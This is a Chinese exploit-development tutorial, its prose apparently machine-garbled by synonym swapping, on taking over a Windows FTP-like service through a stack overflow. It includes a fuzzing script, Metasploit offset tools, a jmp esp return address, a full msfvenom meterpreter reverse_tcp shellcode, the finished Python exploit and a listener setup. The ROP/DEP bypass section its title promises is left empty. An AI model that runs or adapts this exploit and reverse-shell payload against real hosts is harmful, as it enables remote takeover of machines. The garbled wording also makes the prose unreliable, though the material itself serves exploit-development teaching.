IT教程 ·

构建ROP链实现远程栈溢出

突破CRUD | 万能树工具类封装

一般情况下栈溢出大概形成的效果有两种,一类是当地提权另一类则是长途实行恣意敕令,一般C/C++并没有供应智能化搜检用户输入是不是正当的功用,同时程序编写职员在编写代码时也很难一直搜检栈是不是会发作溢出,这就给歹意代码的溢出供应了的前提,应用溢出,进击者可以掌握程序的实行流,从而掌握程序的实行历程并实行歹意行动,而微软的DEP庇护机制则可以使缓冲区溢出失效,不过应用ROP反导手艺依然是可被绕过的,接下来将详细剖析怎样应用ROP手艺绕过DEP庇护机制。

课件下载 https://pan.baidu.com/s/1WwKp2GTVaCEQOLPUM49dUw 提取码:nk9h

缓冲区溢出的经常运用进击要领是将歹意 shellcode 注入到长途效劳的客栈中,并应用 jmp esp 等跳板指令跳转到客栈中实行歹意的代码片断,从而拿到目的主机的掌握权。为了演示进击的详细手段以及二进制破绽发掘的思绪,这里作者编写了长途效劳程序FTP Server该效劳运转后会在本机开启 0.0.0.0:9999 端口,你可以经由过程nc敕令长途连接到效劳器并可以实行一些敕令.

构建ROP链实现远程栈溢出 IT教程 第1张

如上图就是运转后的FTP效劳器,经由过程nc东西链接效劳端的地点nc 192.168.1.8 9999 可以获得一个FTP交互环境,此时可以实行send | hello world敕令,来向效劳器发送一段字符串,同时效劳器会返回给你Data received successfully如许的提醒信息,好了我们入手下手剖析程序并发掘破绽吧。

隐约测试与剖析

要实行隐约测试的第一步就是要肯定发送数据包中包头的花样,这里我们可以运用Wireshark东西监控TCP流,将源地点设置为192.168.1.2,目的地点设置为 192.168.1.8,监控并从中获得数据传输的花样信息,过滤语句 tcp.stream and ip.src_host==192.168.1.2 and ip.dst_host==192.168.1.8 该语句可以准确的过滤出我们所须要的数据。

构建ROP链实现远程栈溢出 IT教程 第2张

上图中我们可以直观的看出,数据包的花样仅仅是 send | hello lyshark 并没有增加任何的特别标记,更没有加密传输,接下来就是要考证send函数是不是存在缓冲区溢出了,这里我们须要编写一个隐约测试脚原本对目的效劳举行测试,剧本内容以下,Python 剧本实行后会对目的FTP效劳举行发包测试。

# coding:utf-8
import socket,time

def initCount(count,Inc):
    buffer = ["A"]
    while len(buffer)<=50:
        buffer.append("A" * count)
        count = count + Inc
    return buffer

def Fuzz(addr,port,buffer):
    try:
        for string in buffer:
            sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
            connect = sock.connect((addr,port))
            sock.recv(1024)
            command = b'send |/.:/' + string.encode()
            sock.send(command)
            sock.close()
            time.sleep(1)
            print('Fuzzing Pass with {} bytes'.format(len(string)))
    except Exception:
        print('n This buffer cannot exceed the maximum {} bytes'.format(len(string)))

if __name__ == "__main__":
    # initCount 10 申明从0入手下手递增,每次递增100
    buff = initCount(0,100)
    Fuzz("192.168.1.8",9999,buff)

上方的代码的组织须要详细剖析数据包的情势获得,在破绽隐约测试中上方代码中心部份的交互须要依据差别程序的交互体式格局举行修正与调解,这里测试剧本实行后当缓冲区添补为2200bytes时程序崩溃了,申明该程序的send函数确切存在缓冲区溢出破绽,其次该程序缓冲区的大小应在2200字节之内。

构建ROP链实现远程栈溢出 IT教程 第3张

经由隐约测试我们可知该函数确切存在破绽,为了能让读者越发深切的明白缓冲区发作的缘由和定位技能,我将详细剖析一下其汇编代码的组织情势,这里为了轻易演示我将在进击主机举行逆向剖析。

起首翻开X64dbg将FTP程序载入并运转,接着我们须要运用Netcat链接本机 nc 192.168.1.2 9999 并进入一个可交互的shell环境中,然后输入待发送的字符串不要回车。

构建ROP链实现远程栈溢出 IT教程 第4张

接着我们回到X64DBG按下ctrl + G在recv函数高低一个断点,因为程序吸收用户输入的功用须要运用recv函数的,所以这里我们直接下断,然后运转程序,发送数据后会被断下,我们直接回到程序领空,会看到以下代码片断,这里我们须要在 0040148D 这个内存地点处下一个F2断点,然后作废体系领空中recv上的断点。

构建ROP链实现远程栈溢出 IT教程 第5张

经由过程再次发送send | hello lyshark程序会被断下,我们单步向下跟进会发明下面的代码片断,这里恰是我们的send函数所实行的地区,此处我们记下这个内存地点 004017D5 然后封闭X64dbg

构建ROP链实现远程栈溢出 IT教程 第6张

翻开IDA Pro加载程序并按下G键,我们来到方才的内存地点处,这里已给人人剖析好了,症结的变量是分派了3000个字节的缓冲区,直接传递给了_Function3函数。

构建ROP链实现远程栈溢出 IT教程 第7张

接着我们继承跟进这个call _Function3函数,会发明子历程内部并没有对吸收缓冲区大小举行严厉的过滤,强迫将3000byte的数据拷贝到2024byte的缓冲区中,此时缓冲区就会发作溢出,从而致使客栈失衡,程序崩溃,这和上方的隐约测试剧本获得的结果是差不多的。

构建ROP链实现远程栈溢出 IT教程 第8张

为了可以越发准确的盘算出缓冲区的详细大小,我们还需运用Metasploit中集成的两个东西,该东西默许须要一同合营运用,其道理就是应用了随机字符串盘算当前字符串间隔缓冲区首部的偏移,经由过程运用唯一字符串法,我们可以疾速定位到当前缓冲区的现实大小,要运用Metasploit的东西须要先设置好环境变量,你可以先实行以下操纵,然后再应用pattern_create.rb生成长度为3000字节的字串。

              .-.
        .-'``(|||)
     ,`     `-`.                 88                         88
    /    '``-.   `                88                         88
  .-.  ,       `___:      88   88  88,888,  88   88  ,88888, 88888  88   88
 (:::) :        ___       88   88  88   88  88   88  88   88  88    88   88
  `-`  `       ,   :      88   88  88   88  88   88  88   88  88    88   88
       / ,..-`   ,       88   88  88   88  88   88  88   88  88    88   88
     `./ /    .-.`        '88888'  '88888'  '88888'  88   88  '8888 '88888'
        `-..-(   )
              `-`
Linux Version 4.4.0-17763-Microsoft, Compiled #253-Microsoft Mon Dec 31 17:49:00 PST 2018
        Four 2.3GHz Intel i5 Processors, 128TB RAM, 18408 Bogomips Total  Dell

lyshark@Dell:~$ export PATH=/opt/metasploit-framework/embedded/bin:$PATH
lyshark@Dell:~$ cd /opt/metasploit-framework/embedded/framework/tools/exploit/
lyshark@Dell:~$ bundle install
lyshark@Dell:~$ ./pattern_create.rb -l 3000

将生成的字符串拷贝到我们的Python测试剧本中。

# coding:utf-8
import socket
host = "192.168.1.8"
port = 9999

sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b'send |/.:/'
buffer = b '<字符串添补到这里>'

sock.send(command + buffer)
sock.close()

长途主机运转FTP效劳程序,然后X64DBG附加,进击主机运转上方剧本,会发明长途主机中调试器发作了异常,当前EIP地点是 0x6F43376F

构建ROP链实现远程栈溢出 IT教程 第9张

接着我们可以经由过程运用Metasploit中供应的第二个东西 pattern_offset.rb 盘算出当前缓冲区的现实大小是 2002 接着就可以写出破绽应用的基本框架,个中的eip是一个未知数,我们临时先用BBBB来添补,BBBB所对应的是 42424242

lyshark@Dell:~$ cd /opt/metasploit-framework/embedded/framework/tools/exploit/
lyshark@Dell:~$ ./pattern_offset.rb -q 0x6F43376F -l 3000
[*] Exact match at offset 2002

lyshark@Dell:~$ vim payload.py
# coding:utf-8
import socket
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"
buffer = b'A' * 2002
eip = b'BBBB'
nops = b'x90' * 50 

sock.send(command + buffer + eip + nops)
sock.close()
lyshark@Dell:~$ python3 payload.py

构建ROP链实现远程栈溢出 IT教程 第10张

如上图所示,当我们再次实行这个溢出剧本时,发明FTP效劳的EIP已被替代成了42424242而客栈中也已被90909090就是Nop雪橇悉数添补满了,申明我们展望的地点是完全正确的。

寻觅跳板指令(溢出测试)

在上面环节中我们已肯定了添补物的大小,但程序每次运转其栈地点都是随机变化的,这是因为客栈空间默许是由操纵体系调理分派的每次分派都不会一致,在Windows破绽应用历程当中,因为程序的装入和卸载都是动态分派的,所以Windows历程的函数栈帧大概发生移位,即ShellCode在内存中的地点是动态变化的,因而须要Exploit(破绽应用代码)在运转时动态定位栈中的ShellCode地点。

此时我们须要寻觅一个跳板,可以动态的定位栈地点的位置,在这里我们运用jmp esp作为跳板指针,其基本思绪是,运用内存中恣意一个jmp esp地点掩盖返回地点,函数返回后被重定向去实行内存中jmp esp指令,而ESP寄存器指向的地点正好是我们安排好的nop雪橇的位置,此时EIP实行流就会顺着nop雪橇滑向我们构建好的歹意代码,从而触发我们预先安排好的ShellCode代码。

挑选模块: 起首经由过程x64dbg调试器附加FTP程序,然后挑选标记菜单,这里可以看到该效劳程序加载了异常多的外部DLL库,我们可以随便挑选一个动态链接库跳转过去,这里为了通用我就挑选 network.dll 这个模块作为演示,模块的挑选是随机的,只需模块内部存在 jmp esp 指令或者是可以跳转到nop雪橇位置的任何指令片断均可被应用。

构建ROP链实现远程栈溢出 IT教程 第11张

搜刮跳板: 接着在调试器的反汇编界面中,按下ctrl + f搜刮该模块中的jmp esp指令,因为这个指令地点是牢固的,我们就将EIP指针跳转到这里,又因esp寄存器存储着当前的栈地点,所以恰好跳转到我们安排好的nop雪橇的位置上,以下图我们就挑选 625011ED 这个代码片断。

构建ROP链实现远程栈溢出 IT教程 第12张

构建应用代码并测试: 既然统统前提都满足了接下来就是生成破绽应用代码了,这里我们可以经由过程MSF供应的msfvenom敕令疾速的生成一个有效载荷,并将其与我们获得的内存地点举行组装。

lyshark@Dell:~$ sudo msfvenom -a x86 --platform Windows 
-p windows/meterpreter/reverse_tcp -b 'x00' lhost=192.168.1.2 lport=8888 -f python
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 368 (iteration=0)
x86/shikata_ga_nai chosen with final size 368
Payload size: 368 bytes
Final size of python file: 1802 bytes

将生成的ShellCode与Python进击剧本连系,下方的进击目的主机是 192.168.1.8:9999

# coding:utf-8
import socket
host = "192.168.1.8"
port = 9999
sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((host,port))
command = b"send |/.:/"      # 发送数据包头
buffer = b'A' * 2002         # 现实缓冲区添补物
eip = b'xEDx11x50x62'    # 此处就是EIP跳转地点地点应当反写
nops = b'x90' * 50          # nop雪橇的位置

buf =  b""
buf += b"xbbxbexa1x4ex3bxdaxcfxd9x74x24xf4x58x2b"
buf += b"xc9xb1x56x83xe8xfcx31x58x0fx03x58xb1x43"
buf += b"xbbxc7x25x01x44x38xb5x66xccxddx84xa6xaa"
buf += b"x96xb6x16xb8xfbx3axdcxecxefxc9x90x38x1f"
buf += b"x7ax1ex1fx2ex7bx33x63x31xffx4exb0x91x3e"
buf += b"x81xc5xd0x07xfcx24x80xd0x8ax9bx35x55xc6"
buf += b"x27xbdx25xc6x2fx22xfdxe9x1exf5x76xb0x80"
buf += b"xf7x5bxc8x88xefxb8xf5x43x9bx0ax81x55x4d"
buf += b"x43x6axf9xb0x6cx99x03xf4x4ax42x76x0cxa9"
buf += b"xffx81xcbxd0xdbx04xc8x72xafxbfx34x83x7c"
buf += b"x59xbex8fxc9x2dx98x93xccxe2x92xafx45x05"
buf += b"x75x26x1dx22x51x63xc5x4bxc0xc9xa8x74x12"
buf += b"xb2x15xd1x58x5ex41x68x03x36xa6x41xbcxc6"
buf += b"xa0xd2xcfxf4x6fx49x58xb4xf8x57x9fxcdxef"
buf += b"x67x4fx75x7fx96x70x85xa9x5dx24xd5xc1x74"
buf += b"x45xbex11x78x90x2ax18xeexdbx02x1dxecxb3"
buf += b"x50x1exd2xfbxddxf8x42xacx8dx54x23x1cx6d"
buf += b"x05xcbx76x62x7axebx78xa9x13x86x96x07x4b"
buf += b"x3fx0ex02x07xdexcfx99x6dxe0x44x2bx91xaf"
buf += b"xacx5ex81xd8xcaxa0x59x19x7fxa0x33x1dx29"
buf += b"xf7xabx1fx0cx3fx74xdfx7bx3cx73x1fxfax74"
buf += b"x0fx16x68x38x67x57x7cxb8x77x01x16xb8x1f"
buf += b"xf5x42xebx3axfax5ex98x96x6fx61xc8x4bx27"
buf += b"x09xf6xb2x0fx96x09x91x13xd1xf5x67x3cx7a"
buf += b"x9dx97x7cx7ax5dxf2x7cx2ax35x09x52xc5xf5"
buf += b"xf2x79x8ex9dx79xecx7cx3cx7dx25x20xe0x7e"
buf += b"xcaxf9x13x04xa3xfexd4xf9xadx9axd5xf9xd1"
buf += b"x9cxeax2fxe8xeax2dxecx4fxe4x18x51xf9x6f"
buf += b"x62xc5xf9xa5"

sock.send(command + buffer + eip + nops + buf)
sock.close()

末了在msf掌握主机,启动一个侦听器,守候我们的进击剧本运转。

lyshark@Dell:~$ sudo msfconsole -q
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.1.2
msf5 exploit(multi/handler) > set lport 8888
msf5 exploit(multi/handler) > exploit

[*] Started reverse TCP handler on 192.168.1.2:8888

统统准备就绪以后我们运转进击剧本,即可获得目的主机的掌握权,此时目的主机已沦为肉鸡任人宰割。

构建ROP链实现远程栈溢出 IT教程 第13张

小总结: 上方我们所演示的就是典范的基于内存的进击手艺,该手艺的上风就是险些很难被发明,稳准狠100%的应用胜利率,内存进击手艺就是应用了软件的安全破绽,该破绽的发生表面上是开发职员没有对缓冲区举行合理的检测,但其基础缘由是,当代盘算机在完成图灵模子时,没有在内存中严厉辨别数据和指令,这就存在程序的外部输入很有大概被看成指令来实行,现今任何操纵体系都很难肃除这类设想缺点(图灵机特征),只能在某种程度上经由过程引入特别的手艺(DEP庇护机制)去阻挠黑客的胜利应用。

ROP手艺绕过DEP庇护

写了一天了,累了,来日诰日继承吧。。

ASLR 怎样绕过剖析

将剧本集成到Metasploit

原创作品:转载请加出处,您增加出处,是我创作的动力!

205 天考研总结

参与评论